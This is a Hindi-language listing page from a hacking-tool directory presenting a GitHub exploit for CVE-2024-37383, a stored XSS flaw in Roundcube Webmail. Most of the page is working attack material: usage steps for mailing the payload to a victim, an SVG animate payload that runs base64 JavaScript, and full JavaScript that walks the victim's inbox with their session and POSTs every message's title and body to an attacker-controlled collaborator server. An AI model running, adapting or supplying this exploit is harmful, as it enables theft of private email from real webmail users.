Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-37383-exploit — CVE-2024-37383 (Stored XSS) के लिए Roundcube मेल सर्वर एक्सप्लॉइट | Kitploit
उपकरण/GitHubGitHub/amirzargham/cve-2024-37383-exploit
फ़िशिंग उपकरणपेलोड जनरेशनशोषणवेब एप्लिकेशन शोषणडेटा निष्कासनईमेल सुरक्षा
GitHubamirzargham/cve-2024-37383-exploit

CVE-2024-37383-exploit

CVE-2024-37383 (Stored XSS) के लिए Roundcube मेल सर्वर एक्सप्लॉइट

रिपॉजिटरी देखें
161 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

एक्सप्लॉइट शीर्षक: CVE-2024-37383 (Stored XSS) के लिए Roundcube मेल सर्वर एक्सप्लॉइट

Google Dork:

एक्सप्लॉइट लेखक: AmirZargham

विक्रेता होमपेज: Roundcube - मुक्त एवं ओपन सोर्स वेबमेल सॉफ़्टवेयर

सॉफ़्टवेयर लिंक: Releases · roundcube/roundcubemail

संस्करण: 1.5.6 से पहले या 1.6 से 1.6.6 तक का Roundcube क्लाइंट संस्करण।

परीक्षण किया गया: firefox,chrome

CVE: CVE-2024-37383

CWE: CWE-79

प्लेटफ़ॉर्म: एकाधिक

प्रकार: WebApps

विवरण:

CVE-2024-37383 भेद्यता Roundcube Webmail ईमेल क्लाइंट में खोजी गई थी। यह एक संग्रहीत XSS भेद्यता है जो हमलावर को उपयोगकर्ता के पृष्ठ पर JavaScript कोड निष्पादित करने की अनुमति देती है। भेद्यता का शोषण करने के लिए, हमलावर को केवल 1.5.6 से पहले या 1.6 से 1.6.6 तक के Roundcube क्लाइंट संस्करण का उपयोग करके एक दुर्भावनापूर्ण ईमेल खोलना होता है।

उपयोग जानकारी:

1- Roundcube_mail_server_exploit_for_CVE-2024-37383.js खोलें।

2- मूल ईमेल (target) का वेब पता और प्राप्त करने वाले सर्वर (attacker server) का URL बदलें।

3- आप कोड को SVG टैग में रखकर सर्वर पर भेज सकते हैं। (यह अनुशंसित है कि आप दुर्भावनापूर्ण मेल भेजने के लिए एक SMTP सर्वर कॉन्फ़िगर करें)

root@kitploit:~
<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>

4 -पीड़ित के क्लिक करने के बाद, मेलबॉक्स के सभी ईमेल आपके collaborator सर्वर पर भेज दिए जाएँगे।

यह कोड एक Roundcube वेबमेल सर्वर से सभी इनबॉक्स संदेशों को पुनर्प्राप्त करने और उस डेटा को एक विशिष्ट collaborator सर्वर endpoint पर अग्रेषित करने की प्रक्रिया को स्वचालित करता है।

यहाँ चरण-दर-चरण विवरण दिया गया है:

1. URL सेटअप करें:

मुख्य वेबमेल URL (target) और प्राप्त करने वाले सर्वर का URL (attackerserver) आसान कॉन्फ़िगरेशन के लिए शुरुआत में वेरिएबल के रूप में परिभाषित किए गए हैं।

2. कुल पृष्ठ संख्या प्राप्त करें:

getPageCount फ़ंक्शन कुल पृष्ठों की संख्या (pagecount) सहित मेटाडेटा प्राप्त करने के लिए मुख्य वेबमेल URL पर एक GET अनुरोध भेजता है। यदि pagecount मिल जाता है, तो यह प्रत्येक पृष्ठ पर लूप करने के लिए आगे बढ़ता है।

3. सभी पृष्ठों से संदेश ID प्राप्त करें:

1 से pagecount तक प्रत्येक पृष्ठ के लिए, यह उस पृष्ठ का अनुरोध करने हेतु एक पेजिनेटेड URL बनाता है। regex का उपयोग करके प्रत्येक पृष्ठ की प्रतिक्रिया में add_message_row(NUMBER) के उदाहरणों की जाँच की जाती है, प्रत्येक उदाहरण से संदेश ID निकाले जाते हैं और सभी ID एक ही सूची में एकत्र किए जाते हैं।

4. प्रत्येक संदेश की सामग्री पुनर्प्राप्त करें:

प्रत्येक संदेश ID के लिए, कोड उस संदेश के बारे में विस्तृत डेटा का अनुरोध करने हेतु एक URL बनाता है। यह प्रत्येक संदेश ID URL के लिए एक GET अनुरोध भेजता है, जिससे पूर्ण प्रतिक्रिया HTML प्राप्त होती है।

5. संदेश डेटा निकालें और साफ़ करें:

प्रत्येक संदेश प्रतिक्रिया में, यह (संदेश शीर्षक) और मुख्य संदेश सामग्री को कैप्चर करने के लिए regex का उपयोग करता है। संदेश सामग्री से सभी HTML टैग हटा दिए जाते हैं ताकि केवल सादा पाठ ही शेष रहे।

6. डेटा को सर्वर पर भेजें:

प्रत्येक निकाले गए संदेश के लिए, सर्वर endpoint पर शीर्षक और साफ़ की गई संदेश सामग्री के साथ एक POST अनुरोध किया जाता है, जो उचित ट्रांसमिशन के लिए URL-एन्कोडेड होता है।

root@kitploit:~
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';

function getPageCount(url) {
    var req = new XMLHttpRequest();

    // Configure the request with credentials
    req.open('GET', url, true);
    req.withCredentials = true;

    // Define the response handler
    req.onload = function() {
        if (req.status === 200) {
            try {
                // Parse the response as JSON
                let jsonResponse = JSON.parse(req.responseText);

                // Access the pagecount field
                let pageCount = jsonResponse.env.pagecount;

                if (pageCount !== undefined) {
                    // Array to store all message IDs
                    let allMessageIds = [];
                    let completedRequests = 0; // Track the number of completed requests

                    // Loop to request each page
                    for (let page = 1; page <= pageCount; page++) {
                        (function(currentPage) {
                            var pageReq = new XMLHttpRequest();
                            // Construct the URL with the current page number
                            var paginatedUrl = `${url}&_page=${currentPage}`;

                            // Configure the request
                            pageReq.open('GET', paginatedUrl, true);
                            pageReq.withCredentials = true;

                            // Define the response handler for each page
                            pageReq.onload = function() {
                                if (pageReq.status === 200) {
                                    try {
                                        // Get the response text
                                        let responseText = pageReq.responseText;

                                        // Use a regex to find all instances of this.add_message_row(NUMBER)
                                        let messageRowRegex = /this\.add_message_row\((\d+)/g;
                                        let matches;

                                        // Find all matches and extract the numbers
                                        while ((matches = messageRowRegex.exec(responseText)) !== null) {
                                            allMessageIds.push(matches[1]);
                                        }

                                    } catch (error) {
                                        // Error handling for page processing
                                    }
                                }
                                completedRequests++; // Increment completed request count
                                // Check if all requests are completed
                                if (completedRequests === pageCount) {
                                    // Loop through all message IDs and create URLs using each one
                                    allMessageIds.forEach(id => {
                                        // Construct a new URL with the current message ID
                                        const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;

                                        // Make a request for each constructed URL
                                        (function(currentUrl) {
                                            var messageReq = new XMLHttpRequest();
                                            messageReq.open('GET', currentUrl, true);
                                            messageReq.withCredentials = true;

                                            // Define the response handler for the message request
                                            messageReq.onload = function() {
                                                if (messageReq.status === 200) {
                                                    // Get the response text
                                                    let messageResponseText = messageReq.responseText;

                                                    // Extract <title> content using regex
                                                    let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
                                                    let title = titleMatch ? titleMatch[1] : "No Title";

                                                    // Use regex to extract the main message content
                                                    var regex = /<!-- html ignored --><!-- head ignored --><!-- meta ignored -->([\s\S]*?)<\/div>/g;
                                                    let messageMatches;
                                                    while ((messageMatches = regex.exec(messageResponseText)) !== null) {
                                                        // Clean HTML tags from the message content
                                                        let cleanMessage = messageMatches[1].replace(/<\/?[^>]+(>|$)/g, ""); // Remove HTML tags

                                                        // Send the cleaned message and title to the user via POST request
                                                        sendMessageToUser(cleanMessage.trim(), title);
                                                    }
                                                }
                                            };

                                            // Handle network errors for message request
                                            messageReq.onerror = function() {
                                                // Error handling for message request
                                            };

                                            // Send the request for the current message URL
                                            messageReq.send();
                                        })(newUrl);
                                    });
                                }
                            };

                            // Handle network errors for page request
                            pageReq.onerror = function() {
                                completedRequests++; // Increment completed request count even on error
                            };

                            // Send the request for the current page
                            pageReq.send();
                        })(page);
                    }
                }
            } catch (error) {
                // Error handling for JSON parsing
            }
        }
    };

    // Handle network errors for initial request
    req.onerror = function() {
        // Error handling for initial request
    };

    // Send the request
    req.send();
}

// Function to send cleaned message and title to the specified user via POST request
function sendMessageToUser(message, title) {
    var postReq = new XMLHttpRequest();
    postReq.open('POST', attackerserver, true);
    postReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

    // Define the response handler for the POST request
    postReq.onload = function() {
        // Response handler for successful send
    };

    // Handle network errors for sending message
    postReq.onerror = function() {
        // Error handling for message send
    };

    // Send the POST request with the URL-encoded title and message content
    postReq.send(`title=${encodeURIComponent(title)}&message=${encodeURIComponent(message)}`);
}

// Usage
var url = `${target}/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1730525119718&_=1730525069360`;
getPageCount(url);
टूल डाउनलोड करें